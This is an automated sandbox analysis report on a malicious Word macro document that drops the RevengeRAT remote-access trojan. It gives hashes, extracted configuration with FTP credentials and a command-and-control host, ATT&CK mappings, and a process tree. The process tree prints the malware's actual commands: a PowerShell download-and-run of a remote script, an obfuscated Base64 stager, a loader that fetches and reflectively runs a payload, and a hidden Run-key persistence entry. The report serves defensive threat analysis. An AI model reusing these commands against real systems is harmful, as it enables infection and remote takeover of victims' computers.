revengerat | 27e17bc7efc2513c75ecc1d8dac97187ca4b3f6d6aa2113e814e66ea5d2cb696

Analysis

max time kernel
140s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
23/09/2024, 17:36

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General

Target
27e17bc7efc2513c75ecc1d8dac97187ca4b3f6d6aa2113e814e66ea5d2cb696.docm
Size 124KB
Sample240923-v6kfcavdmn
SHA256 27e17bc7efc2513c75ecc1d8dac97187ca4b3f6d6aa2113e814e66ea5d2cb696
MD5 cc0f9cc1f9133b0f5dd045a34b2d7ae1
SHA1 c41f1c79442c0e2b717473f9c40d395176afffdb
SHA512 154c2ddc43ba72e1f166dc025e20ef5c580e1f490f1828496c1f10f8ef17b4432137740c66552d12cb647499e9ad7d5a62e5ab709ed2bcd9d08d2416b475c3da
SSDEEP 1536:vkc9anle9tQVTGH7gPgP8MDw/jlQx1JE7vReOr0l77CXXNaHsdUXSIt98iuBXFtc:vVWqQVtClwH9r0l77AnsSmy/BVtqxp
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

revengerat nyancatrevenge defense_evasion discovery execution persistence trojan

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://drive.google.com/uc?export=download&id=

Extracted

Credentials

Protocol
ftp
Host
ftp.desckvbrat.com.br
Port
21
Username
desckvbrat1
Password
developerpro21578Jp@@

Extracted

Family

revengerat

Botnet

NyanCatRevenge

marcelotatuape.ddns.net:333

Mutex

b25e533944db469

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	1064	1672	powershell.exe	82

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat

Blocklisted process makes network request 9 IoCs

flow	pid	Process
56	1064	powershell.exe
58	1064	powershell.exe
62	2044	powershell.exe
64	2044	powershell.exe
67	2044	powershell.exe
68	2044	powershell.exe
71	2044	powershell.exe
72	2044	powershell.exe
75	3852	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Update Drivers NVIDEO_i = "cmd.exe /c start /min \"\" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Comman \". 'C:\\Users\\Admin\\AppData\\Local\\Microsoft\\LocalLow\\System Update\\hnews.ps1' \";exit"	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3112	powershell.exe
3852	powershell.exe
4576	powershell.exe
2044	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
74	pastebin.com
75	pastebin.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3852 set thread context of 5076	3852	powershell.exe	106

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings	explorer.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1672	WINWORD.EXE
1672	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
1064	powershell.exe
1064	powershell.exe
4576	powershell.exe
4576	powershell.exe
2044	powershell.exe
2044	powershell.exe
2044	powershell.exe
3112	powershell.exe
3112	powershell.exe
3852	powershell.exe
3852	powershell.exe
3852	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	1064	powershell.exe
Token: SeDebugPrivilege	4576	powershell.exe
Token: SeDebugPrivilege	2044	powershell.exe
Token: SeDebugPrivilege	3112	powershell.exe
Token: SeDebugPrivilege	3852	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
1672	WINWORD.EXE
1672	WINWORD.EXE
1672	WINWORD.EXE
1672	WINWORD.EXE
1672	WINWORD.EXE
1672	WINWORD.EXE
1672	WINWORD.EXE

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 1672 wrote to memory of 1064	1672	WINWORD.EXE	94
PID 1672 wrote to memory of 1064	1672	WINWORD.EXE	94
PID 1064 wrote to memory of 232	1064	powershell.exe	97
PID 1064 wrote to memory of 232	1064	powershell.exe	97
PID 4584 wrote to memory of 5060	4584	explorer.exe	99
PID 4584 wrote to memory of 5060	4584	explorer.exe	99
PID 5060 wrote to memory of 4576	5060	WScript.exe	100
PID 5060 wrote to memory of 4576	5060	WScript.exe	100
PID 4576 wrote to memory of 2044	4576	powershell.exe	102
PID 4576 wrote to memory of 2044	4576	powershell.exe	102
PID 2044 wrote to memory of 3112	2044	powershell.exe	103
PID 2044 wrote to memory of 3112	2044	powershell.exe	103
PID 2044 wrote to memory of 3852	2044	powershell.exe	104
PID 2044 wrote to memory of 3852	2044	powershell.exe	104
PID 2044 wrote to memory of 3680	2044	powershell.exe	105
PID 2044 wrote to memory of 3680	2044	powershell.exe	105
PID 3852 wrote to memory of 5076	3852	powershell.exe	106
PID 3852 wrote to memory of 5076	3852	powershell.exe	106
PID 3852 wrote to memory of 5076	3852	powershell.exe	106
PID 3852 wrote to memory of 5076	3852	powershell.exe	106
PID 3852 wrote to memory of 5076	3852	powershell.exe	106
PID 3852 wrote to memory of 5076	3852	powershell.exe	106
PID 3852 wrote to memory of 5076	3852	powershell.exe	106
PID 3852 wrote to memory of 5076	3852	powershell.exe	106

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\27e17bc7efc2513c75ecc1d8dac97187ca4b3f6d6aa2113e814e66ea5d2cb696.docm" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wget https://www.4sync.com/web/directDownload/CE3CTlT9/DlRvs8N_.dc5ccedf8d8817fc5fe4f69239307383 -o test.js; explorer.exe test.js
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1064
- - C:\Windows\explorer.exe
    "C:\Windows\explorer.exe" test.js
    3⤵
    PID:232

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4584
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\test.js"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:5060
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $fLbjh = 'JA㍿pAFUAbg㍿KAGEAIAA9ACAAJA㍿oAG8Acw㍿0AC4AVg㍿lAHIAcw㍿pAG8AbgAuAE0AYQ㍿qAG8AcgAuAEUAcQ㍿1AGEAbA㍿zACgAMgApADsASQ㍿mACAAKAAgACQAaQ㍿VAG4ASg㍿hACAAKQAgAHsAJA㍿NAGkAUg㍿JAGQAIAA9ACAAWw㍿TAHkAcw㍿0AGUAbQAuAEkATwAuAFAAYQ㍿0AGgAXQA6ADoARw㍿lAHQAVA㍿lAG0AcA㍿QAGEAdA㍿oACgAKQA7AGQAZQ㍿sACAAKAAkAE0AaQ㍿SAEkAZAAgACsAIAAnAFwAVQ㍿wAHcAaQ㍿uAC4AbQ㍿zAHUAJwApADsAJA㍿SAFkARQ㍿hAEYAIAA9ACAAJw㍿oAHQAdA㍿wAHMAOgAvAC8AZA㍿yAGkAdg㍿lAC4AZw㍿vAG8AZw㍿sAGUALg㍿jAG8AbQAvAHUAYwA/AGUAeA㍿wAG8Acg㍿0AD0AZA㍿vAHcAbg㍿sAG8AYQ㍿kACYAaQ㍿kAD0AJwA7ACQAcw㍿CAGkAaQ㍿XACAAPQAgACQAZQ㍿uAHYAOg㍿QAFIATw㍿DAEUAUw㍿TAE8AUg㍿fAEEAUg㍿DAEgASQ㍿UAEUAQw㍿UAFUAUg㍿FAC4AQw㍿vAG4AdA㍿hAGkAbg㍿zACgAJwA2ADQAJwApADsAaQ㍿mACAAKAAgACQAcw㍿CAGkAaQ㍿XACAAKQAgAHsAJA㍿SAFkARQ㍿hAEYAIAA9ACAAKAAkAFIAWQ㍿FAGEARgAgACsAIAAnADEATg㍿hAHEAZA㍿OAFgAaQ㍿HAHYASQ㍿fAHEAMQ㍿SAFAAaw㍿hAHoARg㍿0AE0AeQ㍿nAG0AYQ㍿xAFQASg㍿YAHUANAAyACcAKQAgADsAfQ㍿lAGwAcw㍿lACAAewAkAFIAWQ㍿FAGEARgAgAD0AIAAoACQAUg㍿ZAEUAYQ㍿GACAAKwAgACcAMQ㍿nADEAag㍿tAFgAdQ㍿zAFgAOQ㍿tAGMAOQ㍿WAG0AaA㍿WAHIASg㍿KADIAWA㍿vAGYAWgAzAGEASw㍿fAGMATA㍿PAHQAJwApACAAOw㍿9ADsAJA㍿JAGEAbw㍿NAGkAIAA9ACAAKAAgAE4AZQ㍿3AC0ATw㍿iAGoAZQ㍿jAHQAIA㍿OAGUAdAAuAFcAZQ㍿iAEMAbA㍿pAGUAbg㍿0ACAAKQAgADsAJA㍿JAGEAbw㍿NAGkALg㍿FAG4AYw㍿vAGQAaQ㍿uAGcAIAA9ACAAWw㍿TAHkAcw㍿0AGUAbQAuAFQAZQ㍿4AHQALg㍿FAG4AYw㍿vAGQAaQ㍿uAGcAXQA6ADoAVQ㍿UAEYAOAAgADsAJA㍿JAGEAbw㍿NAGkALg㍿EAG8Adw㍿uAGwAbw㍿hAGQARg㍿pAGwAZQAoACQAVQ㍿SAEwASw㍿CACwAIAAkAE0AaQ㍿SAEkAZAAgACsAIAAnAFwAVQ㍿wAHcAaQ㍿uAC4AbQ㍿zAHUAJwApACAAOwAkAEEAVQ㍿yAEcARgAgAD0AIAAoACAAJw㍿DADoAXA㍿VAHMAZQ㍿yAHMAXAAnACAAKwAgAFsARQ㍿uAHYAaQ㍿yAG8Abg㍿tAGUAbg㍿0AF0AOgA6AFUAcw㍿lAHIATg㍿hAG0AZQAgACkAOw㍿JAHoAag㍿㍿AFEAIAA9ACAAKAAgACQATQ㍿pAFIASQ㍿kACAAKwAgACcAXA㍿VAHAAdw㍿pAG4ALg㍿tAHMAdQAnACAAKQAgADsAIA㍿wAG8Adw㍿lAHIAcw㍿oAGUAbA㍿sAC4AZQ㍿4AGUAIA㍿3AHUAcw㍿hAC4AZQ㍿4AGUAIA㍿JAHoAag㍿㍿AFEAIAAvAHEAdQ㍿pAGUAdAAgAC8Abg㍿vAHIAZQ㍿zAHQAYQ㍿yAHQAIAA7ACAAQw㍿vAHAAeQAtAEkAdA㍿lAG0AIAAnACUARA㍿DAFAASg㍿VACUAJwAgAC0ARA㍿lAHMAdA㍿pAG4AYQ㍿0AGkAbw㍿uACAAKAAgACQAQQ㍿VAHIARw㍿GACAAKwAgACcAXA㍿㍿AHAAcA㍿EAGEAdA㍿hAFwAUg㍿vAGEAbQ㍿pAG4AZw㍿cAE0AaQ㍿jAHIAbw㍿zAG8AZg㍿0AFwAVw㍿pAG4AZA㍿vAHcAcw㍿cAFMAdA㍿hAHIAdAAgAE0AZQ㍿uAHUAXA㍿QAHIAbw㍿nAHIAYQ㍿tAHMAXA㍿TAHQAYQ㍿yAHQAdQ㍿wACcAIAApACAALQ㍿mAG8Acg㍿jAGUAIAA7AHAAbw㍿3AGUAcg㍿zAGgAZQ㍿sAGwALg㍿lAHgAZQAgAC0AYw㍿vAG0AbQ㍿hAG4AZAAgACcAcw㍿sAGUAZQ㍿wACAAMQA4ADAAJwA7ACAAcw㍿oAHUAdA㍿kAG8Adw㍿uAC4AZQ㍿4AGUAIAAvAHIAIAAvAHQAIAAwACAALw㍿mACAAfQ㍿lAGwAcw㍿lACAAew㍿bAFMAeQ㍿zAHQAZQ㍿tAC4ATg㍿lAHQALg㍿TAGUAcg㍿2AGkAYw㍿lAFAAbw㍿pAG4AdA㍿NAGEAbg㍿hAGcAZQ㍿yAF0AOgA6AFMAZQ㍿yAHYAZQ㍿yAEMAZQ㍿yAHQAaQ㍿mAGkAYw㍿hAHQAZQ㍿WAGEAbA㍿pAGQAYQ㍿0AGkAbw㍿uAEMAYQ㍿sAGwAYg㍿hAGMAawAgAD0AIA㍿7ACQAdA㍿yAHUAZQ㍿9ADsAWw㍿TAHkAcw㍿0AGUAbQAuAE4AZQ㍿0AC4AUw㍿lAHIAdg㍿pAGMAZQ㍿QAG8AaQ㍿uAHQATQ㍿hAG4AYQ㍿nAGUAcg㍿dADoAOg㍿TAGUAYw㍿1AHIAaQ㍿0AHkAUA㍿yAG8AdA㍿vAGMAbw㍿sACAAPQAgAFsAUw㍿5AHMAdA㍿lAG0ALg㍿OAGUAdAAuAFMAZQ㍿jAHUAcg㍿pAHQAeQ㍿QAHIAbw㍿0AG8AYw㍿vAGwAVA㍿5AHAAZQ㍿dADoAOg㍿UAGwAcwAxADIAOwAkAFIAeg㍿XAFcAcgAgAD0AIAAoAE4AZQ㍿3AC0ATw㍿iAGoAZQ㍿jAHQAIA㍿OAGUAdAAuAFcAZQ㍿iAEMAbA㍿pAGUAbg㍿0ACkAOwAkAFIAeg㍿XAFcAcgAuAEUAbg㍿jAG8AZA㍿pAG4AZwAgAD0AIA㍿bAFMAeQ㍿zAHQAZQ㍿tAC4AVA㍿lAHgAdAAuAEUAbg㍿jAG8AZA㍿pAG4AZw㍿dADoAOg㍿VAFQARgA4ADsAJA㍿SAHoAVw㍿XAHIALg㍿DAHIAZQ㍿kAGUAbg㍿0AGkAYQ㍿sAHMAIAA9ACAAbg㍿lAHcALQ㍿vAGIAag㍿lAGMAdAAgAFMAeQ㍿zAHQAZQ㍿tAC4ATg㍿lAHQALg㍿OAGUAdA㍿3AG8Acg㍿rAEMAcg㍿lAGQAZQ㍿uAHQAaQ㍿hAGwAKAAnAGQAZQ㍿zAGMAaw㍿2AGIAcg㍿hAHQAMQAnACwAJw㍿kAGUAdg㍿lAGwAbw㍿wAGUAcg㍿wAHIAbwAyADEANQA3ADgASg㍿wAEAAQAAnACkAOwAkAFYAdA㍿hAEEARgAgAD0AIAAkAFIAeg㍿XAFcAcgAuAEQAbw㍿3AG4AbA㍿vAGEAZA㍿TAHQAcg㍿pAG4AZwAoACAAJw㍿mAHQAcAA6AC8ALw㍿kAGUAcw㍿jAGsAdg㍿iAHIAYQ㍿0ADEAQA㍿mAHQAcAAuAGQAZQ㍿zAGMAaw㍿2AGIAcg㍿hAHQALg㍿jAG8AbQAuAGIAcgAvAFUAcA㍿jAHIAeQ㍿wAHQAZQ㍿yAC8AMAAyAC8ARA㍿MAEwAMAAxAC4AdA㍿4AHQAJwAgACkAOwAkAFIAeg㍿XAFcAcgAuAGQAaQ㍿zAHAAbw㍿zAGUAKAApADsAJA㍿SAHoAVw㍿XAHIAIAA9ACAAKA㍿OAGUAdwAtAE8AYg㍿qAGUAYw㍿0ACAATg㍿lAHQALg㍿XAGUAYg㍿DAGwAaQ㍿lAG4AdAApADsAJA㍿SAHoAVw㍿XAHIALg㍿FAG4AYw㍿vAGQAaQ㍿uAGcAIAA9ACAAWw㍿TAHkAcw㍿0AGUAbQAuAFQAZQ㍿4AHQALg㍿FAG4AYw㍿vAGQAaQ㍿uAGcAXQA6ADoAVQ㍿UAEYAOAA7ACQAVg㍿0AGEAQQ㍿GACAAPQAgACQAUg㍿6AFcAVw㍿yAC4ARA㍿vAHcAbg㍿sAG8AYQ㍿kAFMAdA㍿yAGkAbg㍿nACgAIAAkAFYAdA㍿hAEEARgAgACkAOw㍿bAEIAeQ㍿0AGUAWw㍿dAF0AIAAkAFIAWA㍿pAFYAag㍿fAFkAbA㍿0AEgASwAgAD0AIA㍿bAFMAeQ㍿zAHQAZQ㍿tAC4AQw㍿vAG4Adg㍿lAHIAdA㍿dADoAOg㍿GAHIAbw㍿tAEIAYQ㍿zAGUANgA0AFMAdA㍿yAGkAbg㍿nACgAIAAkAFYAdA㍿hAEEARgAuAFIAZQ㍿wAGwAYQ㍿jAGUAKAAgACcAkyE6AJMhJwAgACwAIAAnAEEAJwAgACkAIAApADsAWw㍿TAHkAcw㍿0AGUAbQAuAEEAcA㍿wAEQAbw㍿tAGEAaQ㍿uAF0AOgA6AEMAdQ㍿yAHIAZQ㍿uAHQARA㍿vAG0AYQ㍿pAG4ALg㍿MAG8AYQ㍿kACgAIAAkAFIAWA㍿pAFYAag㍿fAFkAbA㍿0AEgASwAgACkALg㍿HAGUAdA㍿UAHkAcA㍿lACgAIAAnAEMAbA㍿hAHMAcw㍿MAGkAYg㍿yAGEAcg㍿5ADMALg㍿DAGwAYQ㍿zAHMAMQAnACAAKQAuAEcAZQ㍿0AE0AZQ㍿0AGgAbw㍿kACgAIAAnAHAAcg㍿GAFYASQAnACAAKQAuAEkAbg㍿2AG8Aaw㍿lACgAJA㍿uAHUAbA㍿sACwAIA㍿bAG8AYg㍿qAGUAYw㍿0AFsAXQ㍿dACAAKAAgACcAMgAyACUAOQA2AGMAOAA1ADMANgA1ADYAYgAwADYAYQA1ADYAOA㍿kAGIAMg㍿jADIAMQ㍿hAGUANg㍿jAGIAYgAyADEANQ㍿iADIAMgAlAD0AdgAmAGQAYQ㍿vAGwAbg㍿3AG8AZAA9AGUAYw㍿yAHUAbw㍿zACYAdA㍿4AHQALg㍿0AHgAdAA3ADIAJQA3ADIAJQA4AC0ARg㍿UAFUARAAzACUAQQAyACUAZQ㍿tAGEAbg㍿lAGwAaQ㍿mACsAQgAzACUAMgAyACUAdA㍿4AHQALg㍿0AHgAdAAyADIAJQ㍿EADMAJQ㍿lAG0AYQ㍿uAGUAbA㍿pAGYAKw㍿CADMAJQ㍿0AG4AZQ㍿tAGgAYw㍿hAHQAdA㍿hAD0Abg㍿vAGkAdA㍿pAHMAbw㍿wAHMAaQ㍿kAC0AdA㍿uAGUAdA㍿uAG8AYwAtAGUAcw㍿uAG8AcA㍿zAGUAcgA/AHQAeA㍿0AC4AYwA4ADgANgA3ADAANQAwADAANAA1AGMALQAwAGMANw㍿hAC0AMgA4ADkANAAtAGIAMg㍿hADIALQA2ADMAOQAxAGUAZAAyAGQALw㍿nAHAARQ㍿XAEoAdQ㍿RAHgALw㍿zAG0AZQ㍿0AGkALw㍿tAG8AYwAuAHQAaA㍿nAGkAegAuAG4AZA㍿jAC4AMA㍿uAC4AMQ㍿yAHQALgA3AHAALwAvADoAcw㍿wAHQAdA㍿oACcAIAAsACAAJwAlAEQAQw㍿QAEoAVQAlACcALAAgACcAdA㍿yAHUAZQAxACcAIAApACAAKQA7AH0AOwA=';$fLbjh = $fLbjh.replace('㍿','B') ;$fLbjh = [System.Convert]::FromBase64String( $fLbjh ) ;;;$fLbjh = [System.Text.Encoding]::Unicode.GetString( $fLbjh ) ;$fLbjh = $fLbjh.replace('%DCPJU%','C:\Users\Admin\AppData\Local\Temp\test.js') ;powershell $fLbjh
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4576
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$iUnJa = $host.Version.Major.Equals(2);If ( $iUnJa ) {$MiRId = [System.IO.Path]::GetTempPath();del ($MiRId + '\Upwin.msu');$RYEaF = 'https://drive.google.com/uc?export=download&id=';$sBiiW = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ( $sBiiW ) {$RYEaF = ($RYEaF + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$RYEaF = ($RYEaF + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$IaoMi = ( New-Object Net.WebClient ) ;$IaoMi.Encoding = [System.Text.Encoding]::UTF8 ;$IaoMi.DownloadFile($URLKB, $MiRId + '\Upwin.msu') ;$AUrGF = ( 'C:\Users\' + [Environment]::UserName );IzjAQ = ( $MiRId + '\Upwin.msu' ) ; powershell.exe wusa.exe IzjAQ /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\test.js' -Destination ( $AUrGF + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$RzWWr = (New-Object Net.WebClient);$RzWWr.Encoding = [System.Text.Encoding]::UTF8;$RzWWr.Credentials = new-object System.Net.NetworkCredential('desckvbrat1','developerpro21578Jp@@');$VtaAF = $RzWWr.DownloadString( 'ftp://[email protected]/Upcrypter/02/DLL01.txt' );$RzWWr.dispose();$RzWWr = (New-Object Net.WebClient);$RzWWr.Encoding = [System.Text.Encoding]::UTF8;$VtaAF = $RzWWr.DownloadString( $VtaAF );[Byte[]] $RXiVj_YltHK = [System.Convert]::FromBase64String( $VtaAF.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $RXiVj_YltHK ).GetType( 'ClassLibrary3.Class1' ).GetMethod( 'prFVI' ).Invoke($null, [object[]] ( '22%96c853656b06a568db2c21ae6cbb215b22%=v&daolnwod=ecruos&txt.txt72%72%8-FTUD3%A2%emanelif+B3%22%txt.txt22%D3%emanelif+B3%tnemhcatta=noitisopsid-tnetnoc-esnopser?txt.c8867050045c-0c7a-2894-b2a2-6391ed2d/gpEWJuQx/smeti/moc.thgiz.ndc.0n.1rt.7p//:sptth' , 'C:\Users\Admin\AppData\Local\Temp\test.js', 'true1' ) );};"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2044
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\\x2.ps1"
        5⤵
        Adds Run key to start application
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3112
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\hnews.ps1"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3852
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:5076
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\test.js"
        5⤵
        
        PID:3680

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
MD5 SHA1 SHA512

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hnews.ps1

Path C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\hnews.ps1
Size 132KB
SHA256 e9732ebc6fee2eee5b41a6ab019c68acf833204545cfe8e51b9f5df910e9c40f
MD5 5d6acf998701782dbc41e3cca20839ae
SHA1 8fa365fd0df099df35d06bc9178d435ad2a9f472
SHA512 9da884483ae247825a9c5cca776cfe8674efae433ad82d17bbcef21349be1e9c51ca0101c5858be0deee5f1ccb72042ddecbfbd2523c34ab617cad15cb10fe93
SSDEEP 1536:l1vKYrQMaxsA0Au+JGCCkthtwDsfHa+q+ofqGM5Gosd+JjM:l1zOeCCkthtwoPae5Gosd+JjM
MD5 SHA1 SHA512 SSDEEP

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x2.ps1

Path C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\x2.ps1
Size 334B
SHA256 1ab23ab2a5227090a2058246bbaaebc5d647a36550cca61e8cf0f0926b20c896
MD5 3af5b6caf1b7045c373464f7d9d86f94
SHA1 cbf9059a612f6065dbfb84988a40f11cc3f2ae2d
SHA512 787e770449737899fa9560a4d81ca256d4759a7f82a84168530d5fb71364ceab448041ac9f6c05c925b7b2582ff4d05343b48ebf7a216e30f329b1b6cbfba420
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 79f112792c2d79cd64d73d4510168f0dbe7d5a40877c6c305863c0a473dc01f9
MD5 c1fca2f86da013ab0bebd174f313ee72
SHA1 d6b6a8f5d6d9979893254cea76f7031ba5438391
SHA512 e5f2f2a6f4387d857b72cc44351e3e63b4d04958af6a269502f6ae5e5d68a5f9c3d9c9457dd1cbc99e080f858697df7430bed130b009f6fc133dbadf1df758be
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 9186737d9d2ead1e315305588a94eccfb9c748bb1ba830039989cf61cd7a936a
MD5 9cebf344dc69a91c328ba38d06ffc09e
SHA1 6d30de763156fb722327374d6dabc2a61dc09327
SHA512 6ded40bdaaf4bd495d2725896068b7f2f9bf32b903873657a5cffd4bfcca4fdd87d9d9dcb1997de56c642feb8f59a8b8a883dffc5a01fbc2d7e3e27730e9b2ac
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 e75b17396d67c1520afbde5ecf8b0ccda65f7833c2e7e76e3fddbbb69235d953
